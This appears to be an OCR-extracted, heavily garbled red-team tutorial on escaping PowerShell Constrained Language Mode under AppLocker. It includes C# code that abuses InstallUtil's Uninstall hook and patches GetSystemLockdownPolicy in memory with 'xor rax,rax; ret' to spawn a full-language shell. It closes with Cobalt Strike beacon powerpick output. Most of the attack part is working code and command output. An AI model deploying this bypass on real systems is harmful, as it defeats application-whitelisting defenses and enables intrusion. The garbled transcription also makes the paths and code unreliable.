LTI

[TEOMT AppLocker [TITITIITIITIITIIIT AppLocker [TTTITTIT] Pow.aN B e TP <&t sREMTTTIT

$ExecutionContext. SessionState. LanguageMode

[ FileO1 [TIIIII1] PowerShell [TITICLM [TI1T]

S C:\Windows\system3Z2> .SessionState.lLanguageMode
onstrainedLanguage

S C:\Windows\system3Z2> _

CLM [IITTT] PowerShell [TTTITTTTTIITTITTITTITIIITIITT] adpeas. psTITTTTTTITTITT]

EN Windows PowerShell
PS C:\users\john> ipmo .\adpeas.psl

M CLMTITTTTT T T T T AT C:\Windows\Tasks [TTTTTTTITIT]

EX Windows PowerShell

Ps C:\windows\tasks> .\portscan.psl 1/2.16.1.11 130 150
Host: 172.16.1.11

Press ESC to stop the port scanner

Scanning ports:

PS C:\windows\tasks>
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EN Windows PowerShell

S C:\windows\tasks> ipmo .\adpeas.psl

S C:\windows\tasks>

[(ITTIIIII] PowerShell CLM [T1T]

PowerShell [BMStém.Management.Automation.dll [TTT] DLL [ITTTT] powershell.exe [TTTTTITITIT] Gl

(110 C# 111
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0_31bf3856ad3
64e3 5\System.Management.Automation.dll [By$tem.Configuration.Install [

Reference Manager - customrs ? X
b Assemblies Search (Ctrl+E) P~
b Projects Name Name:

b Shared Projects %}:51&m‘I‘v;a"nagementAutomation‘dll AWi : 'emb(:ﬁ‘\GAC,MSIL\System.Management.AutUm._ System.Management.Automation
Jnvoke. <e. dll

P COM Dinvoke.dll \DInvoke-main\DInvoke\DInvoke\ = Created by:
Microsoft Corporation
4 Browse File Version:
6.1.7600.16385
Recent

Browse...
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Reference Manager - customrs 7 X

4 Assemblies Targeting: .NET Framework 4.8

Framework Name Version Name:

Extensions stem.Activities.Presentatic 4000 System.Configuration.Install
P .Addin ) 4.000 Created by:
m.AddIn.Contract .0.0. Microsoft Corporation
m.ComponentModel.Composition 4.0.0. Version:
4.0.0.0

I Shared Projects .ComponentModel.DataAnnotations 4.0.0. File Version:

.Configuration .0.0. 4.8.3761.0 built by: NET48REL1
m.Configuration.Install

P Projects

b COM

P Browse

AccountManagement
Protocols

Browse... Cancel

(1111 PowerShell [TTTIITITIIIII

using System;
using System. Management. Automation;
using System. Management. Automation. Runspaces;

using System. Configuration. Install;

namespace clm

{

class Program

{
static void Main(string[] args)
{

Console. WriteLine("Not in Main");

}

}

[ System. ComponentModel. RunInstaller( true)]
public class Sample : System. Configuration. Install. Installer
{
public override void Uninstall(System. Collections. IDictionary savedState)
{
String cmd = "$ExecutionContext. SessionState. LanguageMode | Out-File -FilePath
C: \\windows\\tasks\\output. txt";
Runspace rs = RunspaceFactory. CreateRunspace();

rs. Open();
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PowerShell ps = PowerShell. Create();
ps. Runspace = rs;

ps. AddScript(cmd);

ps. Invoke();

rs. Close();

(OmimEEall [TITTITIT] Main TTITTITI] Install [TTITITT Main [T CLMOTIT] exe [TITTIT] Apk

PS C:‘\users‘\john> .\customrs.exe

0 Install [(TTTTITIITIT UninstisGe Nyl {¢ke

C: \Windows\Microsoft. NET\Framework64\v4. 0. 30319\installutil. exe /logfile= /LogToConsole=false

/U C:\users\public\clm. exe

T I powershell T TTTTTTITIT]

PS C:\users\john> C:\windows\Microsoft.NET\Frameworkbd\v4_0. 9 | .exe [/ g /LogToConso
tomrs. exe

l1icrosoft (R) -NET Framework Installation utility Version 4.7.3190.0

opyright (C) Microsoft Corporation. All rights reserved.

PS C:\users\john> type C:\windows\tasks\output.txt
FullLanguage
PS C:\users\john>

GetSystemLockdownPolicy

(T FullLanguage [(TITITIIIIITIIIIIIIOIID GetSystemLockdownPolicy [TTTTTIT] FullLangu

[T

15stémL Management.Automation.Alignment [JTT]TIT] System.Management.Automation [] Pov
Alignment [[TTTTTTIIIIT]

[TIT] GetSystemLockdownPolicy [TT] MethodInfo [TTTTTITITIITIT] lockdown [TTTTTITITITIIT]
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Assembly assem = typeof(System. Management. Automation. Alignment). Assembly;

MethodInfo lockdown info =

assem. GetType("System. Management. Automation. Security. SystemPolicy"). GetMethod(" GetSystemLockdo
wnPolicy", System.Reflection.BindingFlags. Public | System. Reflection. BindingFlags. Static);
RuntimeMethodHandle lockdown handle = lockdown info. MethodHandle;

2[TTTTTITITIT] GetSystemLockdownPolicy O JIT [TTT11T]

RuntimeHelpers. PrepareMethod( lockdown handle);

3T

IntPtr lockdown ptr = lockdown handle. GetFunctionPointer();
A[11] VirtualProtect API [TTTIIIIIIIL

uint oldprot;

VirtualProtect(lockdown ptr, new UIntPtr(4), 0x40, out oldprot);
S[ITsMsStéephEiforcementMode.None[Xdif FaXj rax; ret [T11T]

Raw Hex (zero bytes in bold):
Ag31C8c3

String Literal:

" dBN 31\ BN\ C3"

Array Literal:

{ 8x48, 0x31, 0xCO, OxC3 }
Disassembly:

g: 48 31 co xor rax,rax
3: 3 ret

var patch = new byte[] { 0x48, 0x31, 0xc0O, 0xc3 };
Marshal. Copy(patch, 0, lockdown ptr, 4);
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6[]1] Microsoft,PowerShell.ConsoleShell [TTTTIIIIIIIII] PowerShell [T]

Microsoft. PowerShell. ConsoleShell. Start(System. Management. Automation. Runspaces. RunspaceConfigu

ration. Create(), "Banner", "Help", new string[] {"-exec", "bypass", "-nop"});

(LITIIT]
C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3
.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll [TT]

b Assemblies Search (Ctrl+E) P~
P Projects Name
Dinvoke.dll

Name:

b Shared Projects Microsoft.PowerShell.ConsoleHos

Dinvoke.dll soke-mainy \ @ tdil
b COM Microsoft.PowerShell.ConsoleHost.dll i osoft.Pows .Consal... Created by:
System.Management.Automation.dll C:\Windoy ANGAC \System.Management.Autom... Microsoft Corporation

4 = - -
Browse File Version:

6.1.7600.16385
Recent

Browse...

(LTITIT]

using System;
using System. Runtime. InteropServices;
using System. Runtime. CompilerServices;

using System. Reflection;

public class MainClass
{

[DllImport("kernel32")]

public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint
flNewProtect, out uint 1pflOldProtect);

public static void Main(string[] args)

{

Console. WriteLine("Not in Main");
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public static void interactive()

{

Assembly assem = typeof(System. Management. Automation. Alignment). Assembly;
MethodInfo lockdown info =
assem. GetType( " System. Management. Automation. Security. SystemPolicy"). GetMethod(" GetSystemLockdo
wnPolicy", System.Reflection.BindingFlags. Public | System. Reflection. BindingFlags. Static);
RuntimeMethodHandle lockdown handle = lockdown info. MethodHandle;
RuntimeHelpers. PrepareMethod( lockdown handle);
IntPtr lockdown ptr = lockdown handle. GetFunctionPointer();
uint oldprot;
VirtualProtect(lockdown ptr, new UIntPtr(4), 0x40, out oldprot);
byte [] patch = new byte[] { 0x48, 0x31, 0xc0, 0xc3 };
Marshal. Copy(patch, 0, lockdown ptr, 4);

Microsoft. PowerShell. ConsoleShell. Start(System. Management. Automation. Runspaces. RunspaceConfigu
ration. Create(), "Banner", "Help", new string[] {"-exec", "bypass", "-nop"});

}

[ System. ComponentModel. RunInstaller( true)]

public class Loader : System. Configuration. Install. Installer

{
public override void Uninstall(System. Collections. IDictionary savedState)
{
base. Uninstall(savedState);
MainClass. interactive();
}
}

(IITITIII1] FullLanguage [II111] PowerShell 111



E¥ Select Windows PowerShell - O x

PS C:\users\john> C:\windows\Microsoft.NET\Frameworkt4\v4_0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U .\intjy
eractive_fulllanguage.exe

Microsoft (R) .NET Framework Installation utility Version 4.7.3190.0

Copyright (C) Microsoft Corporation. All rights reserved.

Banner

\users\john> $ExecutionContext.SessionState.LanguageMode
FullLanguage
PS C:\users\john> _

[] CobaltStrike CLM

[ CobaltStrike [IT] CLM [TT1Tlpowerpick [TTTTTTT] PowerShell [ITTTTTT] powershell.exe [T] powershell ise

beacon> powershell $ExecutionContext.SessionState.LanguageMode

[*] Tasked beacon to run: $ExecutionContext.SessionState.LanguageMode
[+] host called home, sent: 179 bytes

[+] received output

ConstrainedLanguage

beacon> powerpick $ExecutionContext.SessionState.LanguageMode

[*] Tasked beacon to run: $ExecutionContext,SessionState.LanguageMode (unmanaged)
[+] host called home, sent: 134767 bytes

[+] received output

FullLanguage
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